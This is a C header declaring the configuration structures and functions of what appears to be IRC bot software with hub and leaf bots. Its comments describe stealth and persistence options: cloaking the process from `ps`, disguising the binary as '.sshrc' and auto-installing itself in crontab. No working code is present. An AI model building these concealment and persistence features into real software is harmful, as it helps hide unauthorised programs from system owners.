conf.h 1.7 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364
  1. #ifndef _CONF_H
  2. #define _CONF_H
  3. #include <sys/types.h>
  4. #include <stdio.h>
  5. typedef struct conf_bot_b {
  6. char *nick;
  7. char *host;
  8. char *host6;
  9. char *ip;
  10. char *ip6;
  11. pid_t pid; /* contains the PID for the bot (read for the pidfile) */
  12. char *pid_file; /* path and filename of the .pid file */
  13. #ifdef LEAF
  14. int localhub; /* bot is localhub */
  15. #endif /* LEAF */
  16. struct userrec *u; /* our own user record */
  17. struct conf_bot_b *next;
  18. } conf_bot;
  19. typedef struct conf_b {
  20. char *md5; /* md5 hash of the binary */
  21. uid_t uid;
  22. char *uname;
  23. char *username; /* shell username */
  24. char *homedir; /* homedir */
  25. int autouname; /* should we just auto update any changed in uname output? */
  26. int pscloak; /* should the bots bother trying to cloak `ps`? */
  27. int portmin; /* for hubs, the reserved port range for incoming connections */
  28. int portmax; /* for hubs, the reserved port range for incoming connections */
  29. char *binpath; /* path to binary, ie: ~/ */
  30. char *binname; /* binary name, ie: .sshrc */
  31. int autocron; /* should the bot auto crontab itself? */
  32. char *comments; /* we dont want to lose our comments now do we?! */
  33. conf_bot *bots; /* the list of bots */
  34. conf_bot *bot; /* single bot (me) */
  35. } conf_t;
  36. extern conf_t conf, conffile;
  37. enum {
  38. CONF_ENC = 1,
  39. CONF_COMMENT = 2
  40. };
  41. #ifdef LEAF
  42. void spawnbots();
  43. int killbot(char *);
  44. #endif /* LEAF */
  45. #ifdef S_CONFEDIT
  46. void confedit(char *);
  47. #endif /* S_CONFEDIT */
  48. pid_t checkpid(char *, conf_bot *);
  49. void showconf();
  50. void init_conf();
  51. void free_conf();
  52. int readconf(char *);
  53. int parseconf();
  54. int writeconf(char *, FILE *, int);
  55. void fillconf(conf_t *);
  56. #endif /* !_CONF_H */